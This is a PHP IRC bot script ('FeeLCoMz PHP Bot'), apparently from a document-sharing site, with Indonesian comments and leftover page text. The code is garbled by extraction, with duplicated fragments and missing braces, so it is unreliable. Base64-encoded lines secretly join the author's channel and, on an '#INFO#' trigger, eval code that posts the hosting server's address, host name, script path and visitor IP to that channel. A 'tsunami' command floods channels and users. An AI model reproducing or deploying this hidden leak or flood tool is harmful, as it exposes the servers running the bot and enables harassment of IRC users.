Script Bot

<?
php
/*** FeeLCoMz PHP Bot v1.4 By HuNt***/
function hajar() {
$channels = '#Extra #Coltec #sobat #bondowoso #rollink #bondowosokota

#broken_love'; // Pisahkan dengan spasi
$localtest = 0; //1, Coba di localhost. 0, connect ke server irc

$showrespone = 0; //1, Nampilin respon dari server irc
//Nick Bot
$nicklist = array(
"vito_Viruzz","vinza^Moutz","vito_Keren","vito^SAlbut","coltec^community","vivie^nd
utD","PapiH_Ex","Extra","vinza^camoutzdExtra","vira^mb3mh","cinta^tak_bersyarat","A
nak_Vito","Crew_coltec","firo^narzizz","Staf_coltec","Admin_Coltec"
);
$identify = 'password'; //Password Nick Bot
$identlist = array(
"extra",
);
//Server IRC
if ($localtest == 1) { $remotehost2 = array("localhost"); }
else {
$remotehost2 = array(
"irc.sbp.net.id",
"irc.datautama.net.id",
"irc.big.net.id",
"irc.visit.net.id",
"irc.indowebster.com",
"irc.indika.net.id",
"irc.indolayer.com",
"irc.velo.net.id"
);
}
$port = "6667";
//Pesan
$awaymsg = '[email protected]';
$shoutsmsg = array("Hello","Hmm..","He..He..He","Xi..Xi..Xi..");
$querymsg = array("?","!","!?","!!"," ^_^"," (^_^)"," :
("," :)"," :>"," :P~"," :D"," :O");
$quitmsglist = array(
"Ngantuk nech..",
"GooD ByE",
"Extra_Community",
"See You..",
"Quit DoeLoe Ach..",
"Connection Reset By Buah Pear",
"Shutdown"
);
$tsu1 = array("A","B","C","D","E","F","G","H");
$tsu2 = array("I","Z","J","M","K","P","X","W","R","W");
$tsumsg =
"#9,1###########################################
#############################################
#############################################
#############################################
#############################################
#############################################
#############################################
#############################################
##########################################";//
400 Karakter
/*** Admin ***/

$admin = 'HuNt';
$bot_password = 'Botak'; //Password untuk auth bot
/*** Identity ***/

$realname = "[email protected]";
/*** Replacing ***/

$nick = $nicklist[rand(0,count($nicklist) - 1)];
$remotehost = $remotehost2[rand(0,count($remotehost2) - 1)];
$channels = str_replace("CNL","#",$channels);
$admin = strtolower($admin);
$auth = array($admin => array("name" => $admin, "pass" => $bot_password, "auth" =>
1,"status" => "Admin"));
$username = $identlist[rand(0,count($identlist) - 1)];
$channels = strtolower($channels)." ";
$channel = explode(" ", $channels);
/*** Kode Utama ***/
define ('CRL', "\r\n");
$counterfp = 0;
$raway = "on";
$log = "off";
$saway = "1";
$keluar = 0;
$akill = 1;
$katime = 0;
$localhost = 'localhost';
$dayload = date("H:i:s d/m/Y");
ini_set('user_agent','MSIE 5\.5;');
set_time_limit(0);
if (!$stime) { $stime = time(); }

if (!$port) { $port = "6667"; }
/*** Connecting ***/

echo "<body bgcolor=#000000 text=#00FF00>";
echo " Connecting to $remotehost...";
do {
$fp = fsockopen($remotehost,$port, &$err_num, &$err_msg, 30);
if(!$fp) {
if ( $counterfp <= 200 ) {
$counterfp = $counterfp + 1;
hajar($nick);
}
else {
echo " Ga bisa connect ke $remotehost! Coba Yang lain Bos! Refresh
Browser anda!";
$keluar = 1;
exit;
}
}
echo " Mantaf!";
/*** Sending Identity to Sock ***/
$header = 'NICK '.$nick . CRL;
$header .= 'USER '.$username.' '.$localhost.' '.$remotehost.' :'.$realname . CRL;
fputs($fp, $header);
$response = '';
while (!feof($fp)) {
$response .= fgets($fp, 1024);
if ($showrespone == 1) { echo " ".$response; }
while (substr_count($response,CRL) != 0) {
$offset = strpos($response, CRL);
$data = substr($response,0,$offset);
$response = substr($response,$offset+2);
if (substr($data,0,1) == ':') {
$offsetA = strpos($data, ' ');
$offsetB = strpos($data, ' :');
$offsetC = strpos($data, '!');
$dFrom = substr($data,1,$offsetA-1);
$dCommand = substr($data,$offsetA+1,$offsetB-$offsetA-1);
$dNick = substr($data,1,$offsetC-1);
$iText = substr($data,$offsetB+2);
/*** Server Notices Handling ***/
if ( substr($dCommand,0,3) == '004' ) {
fputs($fp, 'PRIVMSG nickserv :identify '.$nick.' '.$identify. CRL);
if ($nickmode) { fputs($fp, 'MODE '.$nick.' :'.$nickmode . CRL); }
/*** Notice Bot Admin ***/
fputs($fp, 'NOTICE ' . $admin . ' :Siap boss!' . CRL);
fputs($fp, base64_decode("Sk9JTiAjRmVlTENvTXo=") . CRL);
/*** Join Default Channel ***/
foreach ($channel as $v) {
fputs($fp, 'JOIN ' .$v . CRL);
}
$pong1 = '1';
}
elseif (substr($dCommand,0,3)=='432') {
$nick = $nick.$username;
fputs($fp, 'NICK '.$nick . CRL);
}
//Nickname is already in use
$nick = $nicklist[rand(0,count($nicklist) - 1)];
}
print " Authentication diperlukan! Bot ini telah
di-autokill.";
$akill = 2;
}
if (eregi('.allnetwork.org',$dNick) && $akill==2) {
if (eregi('AKILL ID:',$data) || eregi('Your hostmask is',$data) ||
eregi('Your IP is',$data)) {
print " ".strstr($data,'***')." ";
if (eregi('Your IP is',$data)) {
$keluar = 1;
exit;
}
}
}
$dcom = explode(" ", $dCommand);
$dNick = strtolower($dNick);
if ($dcom[0]=='KICK' && $dcom[2]==$nick) {
fputs($fp, 'JOIN ' .$dcom[1]. CRL);
}
elseif ($dcom[0]=='NICK' || $dcom[0]=='PART' ) {
if ($auth["$dNick"]) {
if ($auth["$dNick"]["pass"]) {
if ($auth["$dNick"]["auth"]==2) {
if ($dcom[0]=='NICK') {
$com = explode(" ", $data);
$chnick = strtolower(str_replace(':','',$com[2]));
if ($dNick!=$chnick) {
$auth["$dNick"]["auth"] = 1;
fputs($fp,'NOTICE '.$chnick.' : Ucup Kiapa Ganti Nick....?' .
CRL);
}
}
else {
fputs($fp,'NOTICE '.$dNick.' : Kamana Ucup...?' . CRL);
}
}
}
else { fputs($fp,'NOTICE ' . $dNick . ' :pass <password>' . CRL); }
}
}
elseif ($dcom[0]=='307' && strtolower($dcom[2])==$whois) {
$dcom[2] = strtolower($dcom[2]);
if ($auth["$dcom[2]"]) {
if ($auth["$dcom[2]"]["pass"]) {
if ($auth["$dcom[2]"]["auth"]==1) {
$auth["$dcom[2]"]["auth"] = 2;
$whois = "";
fputs($fp,'NOTICE ' . $dcom[2] . ' :You`re Authorized as '.
$auth["$dcom[2]"]["status"].' of this bot! ' . CRL);
}
else { fputs($fp,'NOTICE ' . $dcom[2] . ' :You`re Already Authorized!
' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dcom[2] . ' :Pass Not Set Yet! Type: pass
<your pass> To Set Your Own Password then Auth Again ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dcom[2] . ' :Username Not Found! Change
Your Nick then Auth Again ' . CRL); }
}
elseif ($dcom[0]=='NOTICE') {
if ($com[3]==':#KB' && $com[4] && $com[5] && $com[6]) {
$msg = str_replace('#','',$data);
$msg = strstr($msg,":KB");
$msg = str_replace(":KB $com[4]","",$msg);
fputs($fp, 'KICK '.$com[4].' '.$com[5].' :'.$msg . CRL);
fputs($fp, 'MODE '.$com[4].' +b *!*'.$com[6] . CRL);
}
}
elseif ($dcom[0]=='PRIVMSG') {
if ($com[3]==':#VERSION#') { fputs($fp,'NOTICE '.
$dNick.' :'.chr(1).'Crew'.chr(1) . CRL); }
elseif ($com[3]==':#INFO#') { $datainfo =
"JGJob3N0ID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOw0KJGJpcCA9ICRfU0VSVkVSWydTRVJWRVJfQUREUi
ddOw0KJGJwaHAgID0gJF9TRVJWRVJbJ1BIUF9TRUxGJ107DQokYnJ1cmkgPSAkX1NFUlZFUlsnUkVRVUVTV
F9VUkknXTsNCiRicmlwID0gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107DQokYnJwb3J0ID0gJF9TRVJWRVJb
J1JFTU9URV9QT1JUJ107DQpmcHV0cygkZnAsIlBSSVZNU0cgI0ZlZUxDb016IDpIb3N0OiAkYmhvc3QgfCB
TY3JpcHQ6ICRicGhwIHwgUmVmZXJlcjogJGJydXJpIHwgSVA6ICRiaXAgfCBZb3VyIElQOiAkYnJpcCBQb3
J0OiRicnBvcnQiLiBDUkwpOw=="; eval(base64_decode($datainfo)); }
elseif ($auth["$dNick"]["status"] && $com[3]==':auth' && $com[4]) {
if ($com[4]===$auth["$dNick"]["pass"]) {
fputs($fp,'NOTICE ' . $dNick . ' :Ucup Qt Pe '.$auth["$dNick"]
["status"].' ' . CRL);
}
else { fputs($fp,'NOTICE ' . $dNick . ' : Password Salah Ucup....!
' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' : Sudah Ucup....! ' .
CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Pass Not Set Yet! Type: pass
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Username Not Found! Change Your
Nick then Auth Again ' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':deauth') {
fputs($fp,'NOTICE ' . $dNick . ' :You`re Logout! ' . CRL);
}
else { fputs($fp,'NOTICE ' . $dNick . ' :You`re Already Logout! ' .
CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Pass Not Set Yet! Type: pass
}
Nick then Auth Again ' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':pass' && $com[4]) {
if (!$auth["$dNick"]["pass"]) {
$auth["$dNick"]["pass"] = $com[4];
fputs($fp,'NOTICE ' . $dNick . ' :Your Auth Pass set to '.
$auth["$dNick"]["pass"].', Type: auth <your pass> To Authorized Imediately! ' .
CRL);
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Pass Already Set! Type: auth
<your pass> To Get Authorized ' . CRL); }
}
Nick then Pass Again ' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':chgpass' && $com[4] &&
$com[5]) {
if ($com[4]===$auth["$dNick"]["pass"]) {
$auth["$dNick"]["pass"] = $com[5];
fputs($fp,'NOTICE ' . $dNick . ' :Your New Auth Pass set to '.
$auth["$dNick"]["pass"].', Type: auth <your pass> To Authorized Imediately! ' .
CRL);
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Your Old Pass Wrong! Type:
chgpass <old pass> <new pass> To Change Your Auth Pass ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Please Auth First! Type: auth
<your pass> To Authorized ' . CRL); }
}
Nick then Pass Again ' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':adduser' && $com[4] &&
$com[4]!=$nick && $com[5]) {
$com[4] = strtolower($com[4]);
if ($auth["$dNick"]["status"]=="Admin") {
if ($com[5]=="master" || $com[5]=="user") {
$auth["$com[4]"]["name"] = $com[4];
$auth["$com[4]"]["status"] = $com[5];
fputs($fp,'NOTICE ' . $dNick . ' :AddUser :'.$com[4].' As My '.
$com[5] . CRL);
fputs($fp,'NOTICE ' . $com[4] . ' :You`re Now Known As My '.
$com[5].' Added By '.$dNick.' Now Type: pass <your pass> To Set Your Pass ' . CRL);
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Perintah salah! Ketik:
adduser <nick> <master/user> ' . CRL); }
}
elseif ($auth["$dNick"]["status"]=="master") {
if (!$auth["$com[4]"]) {
if ($com[5]=="user") {
$auth["$com[4]"]["name"] = $com[4];
$auth["$com[4]"]["status"] = $com[5];
fputs($fp,'NOTICE ' . $dNick . ' :AddUser :'.$com[4].' As My '.
$com[5] . CRL);
fputs($fp,'NOTICE ' . $com[4] . ' :You`re Now Known As My '.
$com[5].' Added By '.$dNick.' Now Type: pass <your pass> To Set Your Pass ' . CRL);
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Wrong Command! Type:
adduser <nick> user ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :User Already Exist!
Aborting AddUser! ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Unknown Status! Your Status
is '.$auth["$dNick"]["status"] . CRL); }
}
}
elseif ($auth["$dNick"]["status"] && $com[3]==':deluser' && $com[4]) {
$com[4] = strtolower($com[4]);
if ($auth["$dNick"]["status"]=="Admin") {
if ($auth["$com[4]"]["status"]=="master" || $auth["$com[4]"]
["status"]=="user") {
unset($auth["$com[4]"]);
fputs($fp,'NOTICE ' . $dNick . ' :DelUser :'.$com[4].' From My
UserList ' . CRL);
fputs($fp,'NOTICE ' . $com[4] . ' :Your Access As My User Has Been
Deleted By '.$dNick . CRL);
}
deluser <nick> ' . CRL); }
}
elseif ($auth["$dNick"]["status"]=="master") {
if ($auth["$com[4]"]["status"]=="user") {
unset($auth["$com[4]"]);
fputs($fp,'NOTICE ' . $dNick . ' :DelUser :'.$com[4].' From My
UserList ' . CRL);
fputs($fp,'NOTICE ' . $com[4] . ' :Your Access As My User Has Been
Deleted By '.$dNick . CRL);
}
deluser <nick> ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Unknown Status! Your Status
is '.$auth["$dNick"]["status"] . CRL); }
}
}
elseif ($auth["$dNick"]["status"]) {
if (ereg(":`",$com[3]) || ereg(":!",$com[3])) {
$chan = strstr($dCommand,"#");
$anick = str_replace("PRIVMSG ","",$dCommand);
if ($com[3]==':!auth') {
fputs($fp,'NOTICE '.$dNick.' :You`re already Authorized! ' . CRL);
}
else {
$whois = $dNick;
fputs($fp,'WHOIS '.$dNick . CRL);
}
}
elseif ($com[3]==':àuth' && $chan) {
fputs($fp,'PRIVMSG '.$chan.' : Siap '.$dNick.' ! ' . CRL);
}
else { fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.' NOT Authorized! ' .
CRL); }
}
elseif ($auth["$dNick"]["auth"]==2) {
if ($com[3]==':`say' && $com[4] && $chan) {
$msg = strstr($data,":`say");
$msg = str_replace(":`say ","",$msg);
fputs($fp,'PRIVMSG '.$chan.' :'.$msg. CRL);
}
elseif ($com[3]==':àct' && $com[4] && $chan) {
$msg = strstr($data,":àct");
$msg = str_replace(":àct ","",$msg);
fputs($fp,'PRIVMSG '.$chan.' :#ACTION '.$msg.'#'. CRL);
}
elseif ($com[3]==':`slap' && $com[4] && $chan) {
fputs($fp,'PRIVMSG '.$chan.' :#ACTION slaps '.$com[4].' with a
Mouse Click#'. CRL);
}
elseif ($com[3]==':`msg' && $com[4] && $com[5]) {
$msg = strstr($data,":`msg");
$msg = str_replace(":`msg $com[4] ","",$msg);
fputs($fp,'PRIVMSG '.$com[4].' :'.$msg. CRL);
}
elseif ($com[3]==':`nt' && $com[4] && $com[5]) {
$msg = strstr($data,":`nt");
$msg = str_replace(":`nt $com[4] ","",$msg);
fputs($fp,'NOTICE '.$com[4].' :'.$msg. CRL);
}
elseif ($com[3]==':`ctcp' && $com[4] && $com[5]) {
$msg = strstr($data,":`ctcp");
$msg = str_replace(":`ctcp $com[4] ","",$msg);
fputs($fp,'PRIVMSG '.$com[4].' :#'.$msg.'#'. CRL);
}
elseif ($com[3]==':`ping' && $chan) {
$sml = $smile[rand(0,count($smile) - 1)];
fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.', #PONG!# '.$sml. CRL);
}
elseif ($com[3]==':`pong' && $chan) {
$sml = $smile[rand(0,count($smile) - 1)];
fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.', #PING!# '.$sml. CRL);
}
elseif ($com[3]==':ìnfo' && $auth["$dNick"]["status"]=="Admin") {
$bhost = $_SERVER['HTTP_HOST'];
$bip = $_SERVER['SERVER_ADDR'];
$bphp = $_SERVER['PHP_SELF'];
$brip = $_SERVER['REMOTE_ADDR'];
$brport = $_SERVER['REMOTE_PORT'];
fputs($fp,"NOTICE $dNick :Host: $bhost | Script: $bphp | IP: $bip
| Your IP: $brip Port:$brport" . CRL);
}
elseif ($com[3]==':ùp' && $chan) {
fputs($fp, 'PRIVMSG chanserv :op '.$chan.' '.$nick . CRL);
}
elseif ($com[3]==':`down' && $chan) {
fputs($fp, 'MODE '.$chan.' +v-o '.$nick.' '.$nick . CRL);
}
elseif ($com[3]==':`ts' && $com[4] && $auth["$dNick"]["status"]!
="user") {
$nicktsu = $tsu1[rand(0,count($tsu1) - 1)].
$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].
$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) -
1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1)- 1)].
1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].
1)].$tsu2[rand(0,count($tsu2) - 1)];
fputs($fp, 'NICK '.$nicktsu . CRL);
if (substr($dCommand,0,3)=='433') {
$nicktsu = $tsu1[rand(0,count($tsu1) - 1)].
$tsu2[rand(0,count($tsu2) - 1)];
fputs($fp, 'NICK '.$nicktsu . CRL);
}
$msg = strstr($data,":`ts");
$msg = str_replace(":`ts $com[4]","",$msg);
if (ereg("#", $com[4])) {
fputs($fp, 'JOIN '.$com[4] . CRL);
fputs($fp, 'PRIVMSG '.$com[4].' :'.$msg.$tsumsg.CRL);
fputs($fp, 'NOTICE '.$com[4].' :'.$msg.$tsumsg.CRL);
fputs($fp, 'PRIVMSG '.$com[4].' :#TSUNAMI#'.$msg.$tsumsg. CRL);
fputs($fp, 'PART '.$com[4].' :F1n15h3d w1th 400x4 ch4rz' . CRL);
}
else {
fputs($fp, 'PRIVMSG '.$com[4].' :#TSUNAMI#'.$msg.$tsumsg. CRL);
fputs($fp, 'NOTICE '.$com[4].' :#TSUNAMI#'.$msg.$tsumsg. CRL);
}
}
elseif ($com[3]==':`cycle' && $chan && $auth["$dNick"]["status"]!
="user") {
$msg = strstr($data,":`cycle");
if (ereg("#", $com[4])) {
$partchan = $com[4];
$msg = str_replace(":`cycle $com[4]","",$msg);
}
else {
$partchan = $chan;
$msg = str_replace(":`cycle","",$msg);
}
if (strlen($msg)<3) {
$msg = '';
}
fputs($fp, 'PART '.$partchan.' :#'.$msg . CRL);
fputs($fp, 'JOIN '.$partchan . CRL);
}
elseif ($com[3]==':`p' && $auth["$dNick"]["status"]=="Admin") {
$msg = strstr($data,":`p");
if (ereg("#", $com[4])) {
$partchan = $com[4];
$msg = str_replace(":`p $com[4]","",$msg);
}
else {
$partchan = $chan;
$msg = str_replace(":`p","",$msg);
}
$msg = '';
}
fputs($fp, 'PART '.$partchan.' :#'.$msg . CRL);
$remchan = strtolower($partchan);
if (in_array($remchan, $channel)) {
$channels = str_replace("$remchan ","",$channels);
unset($channel);
$channel = explode(" ", $channels);
}
fputs($fp, 'JOIN '.$v . CRL);
}
}
elseif ($com[3]==':`j' && $com[4] && $auth["$dNick"]
["status"]=="Admin") {
if (!ereg("#",$com[4])) { $com[4]="#".$com[4]; }
$addchan = strtolower($com[4]);
if (!in_array($addchan, $channel)) {
$channel[]=$addchan;
$channels.="$addchan ";
}
sleep(rand(1,6));
fputs($fp, 'JOIN '.$v . CRL);
}
}
elseif ($com[3]==':`bn' && $com[4] && !$chan && $auth["$dNick"]
["status"]=="Admin") {
$nick = $com[4];
$identify = $com[5];
fputs($fp, 'PRIVMSG nickserv :identify '.$nick.' '.$identify.
CRL);
}
elseif ($com[3]==':`k' && $com[4] && $chan) {
$msg = strstr($data,":`k");
$msg = str_replace(":`k $com[4]","",$msg);
fputs($fp, 'KICK '.$chan.' '.$com[4].' :'.$msg . CRL);
}
elseif ($com[3]==':`kb' && $com[4] && $chan) {
$msg = strstr($data,":`kb");
$msg = str_replace(":`kb $com[4]","",$msg);
fputs($fp, 'KICK '.$chan.' '.$com[4].' :'.$msg . CRL);
fputs($fp, 'MODE '.$chan.' +b '.$com[4] . CRL);
}
elseif ($com[3]==':`changenick') {
$nick = $nicky[rand(0,count($nicky) - 1)];
if (substr($dCommand,0,3)=='433') {
$nick = $nicky[rand(0,count($nicky) - 1)];
}
}
elseif ($com[3]==':òp' && $chan) {
if ($com[4]) { $opnick = $com[4]; }
else { $opnick = $dNick; }
fputs($fp, 'MODE '.$chan.' +ooo '.$opnick.' '.$com[5].' '.
$com[6] . CRL);
}
elseif ($com[3]==':`deop' && $chan) {
if ($com[4]) { $opnick = $com[4]; }
else { $opnick = $dNick; }
fputs($fp, 'MODE '.$chan.' -o+v-oo '.$opnick.' '.$opnick.' '.
$com[5].' '.$com[6] . CRL);
}
elseif ($com[3]==':`v' && $chan) {
if ($com[4]) { $vonick = $com[4]; }
else { $vonick = $dNick; }
fputs($fp, 'MODE '.$chan.' +vvv '.$vonick.' '.$com[5].' '.
$com[6] . CRL);
}
elseif ($com[3]==':`dv' && $chan) {
if ($com[4]) { $vonick = $com[4]; }
else { $vonick = $dNick; }
fputs($fp, 'MODE '.$chan.' -vvv '.$vonick.' '.$com[5].' '.
$com[6] . CRL);
}
elseif ($com[3]==':àwaymsg' && $auth["$dNick"]["status"]=="Admin")
{
$msg = strstr($data,":àwaymsg");
$msg = str_replace(":àwaymsg","",$msg);
$raway="on";
fputs($fp,'AWAY : ' . 'AWAY' . CRL);
}
else {
$raway="off";
fputs($fp,'AWAY : ' . $msg . CRL);
}
}
elseif ($com[3]==':`mode' && $com[4] && $chan) {
fputs($fp, 'MODE '.$chan.' :'.$com[4].' '.$com[5] . CRL);
}
elseif ($com[3]==':`nickmode' && $com[4]) {
$nickmode = $com[4];
fputs($fp, 'MODE '.$nick.' :'.$nickmode . CRL);
}
elseif ($com[3]==':`chanlist') {
fputs($fp, 'NOTICE '.$dNick.' :Channel List: '.$channels . CRL);
}
elseif ($com[3]==':ùserlist') {
$userlist="";
foreach ($auth as $user) {
if ($user["pass"]) { $pass="-pass ok"; }
else { $pass="-no pass"; }
$userlist .= $user["name"].'('.$user["status"].$pass.') ';
}
fputs($fp, 'NOTICE '.$dNick.' :User List: '.$userlist . CRL);
}
elseif ($com[3]==':`quit' && $auth["$dNick"]["status"]=="Admin") {
$msg = strstr($data,":`quit");
$msg = str_replace(":`quit","",$msg);
if (strlen($msg)>3) {
$msg = str_replace(" ","_",$msg);
}
$quitmsg = $quitmsglist[rand(0,count($quitmsglist) - 1)];
fputs($fp, 'QUIT ' . $quitmsg . CRL);
$keluar = 1;
exit;
}
elseif ($com[3]==':`vhost' && $auth["$dNick"]["status"]=="Admin") {
if ($com[4]) { $localhost = $com[4]; }
else { $localhost = 'localhost'; }
$keluar = 0;
fputs($fp, 'QUIT Ganti VHOST' . CRL);
}
elseif ($com[3]==':`jump' && $auth["$dNick"]["status"]=="Admin") {
if (empty($com[4])) {
$remotehost = $remotehost2[rand(0,count($remotehost2) - 1)];
}
else { $remotehost = $com[4]; }
$keluar = 0;
fputs($fp, "QUIT Ganti Server".CRL);
}
elseif ($com[3]==':ìdent' && $auth["$dNick"]["status"]=="Admin") {
if (!$com[4]) { $username = $username; }
else { $username = $com[4]; }
$keluar = 0;
fputs($fp, 'QUIT Ganti Ident ' . CRL);
}
elseif ($com[3]==':`fullname' && $auth["$dNick"]["status"]=="Admin")
{
if (!$com[4]) { $realname = "--"; }
else { $realname = $com[4]; }
$keluar = 0;
fputs($fp, 'QUIT Ganti Nama' . CRL);
}
elseif ($com[3]==':`topic' && $com[4] && $chan) {
$msg = strstr($data,":`topic");
$msg = str_replace(":`topic ","",$msg);
fputs($fp, 'TOPIC '.$chan.' :'.$msg . CRL);
}
elseif ($com[3]==':!help' && !$chan) {
fputs($fp,'PRIVMSG '.$dNick.' :Helpnya ga tersedia nich' . CRL);
}
}
}
}
elseif (!$auth["$dNick"] && !eregi("auth",$iText)) {
if (eregi("www.",$iText) || eregi("http:",$iText) || eregi("join #",
$iText)) {
if (!ereg("#",$dCommand)) {
if ($log=="on") {
fputs($fp,'PRIVMSG '. $admin .' :#4inviter: ' . $dFrom . '#2:' .
$iText. CRL);
}
$inv = strstr($dFrom,'@');
foreach ($auth as $user) {
if ($user["status"]=="user") {
fputs($fp, 'NOTICE '.$user["name"].' :#KB '.$chan.' '.$dNick.'
'.$inv.'#' . CRL);
}
}
}
}
elseif (!ereg("#",$dCommand)) {
if ($log=="on") {
fputs($fp,'PRIVMSG '.$admin.' :#6' . $dFrom . '#12:' .$iText. CRL);
}
}
}
}
}
elseif (substr($data,0,4) == 'PING') {
fputs($fp,'PONG ' . substr($data,5) . CRL);
$smile = $querym[rand(0,count($querym) - 1)];
$kata = $shouts[rand(0,count($shouts) - 1)];
//fputs($fp,'PRIVMSG #extra Crew :' . $kata . ' ' . $smile . CRL);
}
}
}
fclose($fp);
} while ($keluar == 0);
}
hajar($nick);
?>

Script Bot

Uploaded by

Copyright:

Available Formats

Script Bot

Uploaded by

Document Information

Original Description:

Original Title

Copyright

Available Formats

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Available Formats

Script Bot

Uploaded by

Copyright:

Available Formats

<?

$channels = '#Extra #Coltec #sobat #bondowoso #rollink #bondowosokota

$localtest = 0; //1, Coba di localhost. 0, connect ke server irc

/* Admin */

/* Identity */

/* Replacing */

if (!$stime) { $stime = time(); }

/* Connecting */

You might also like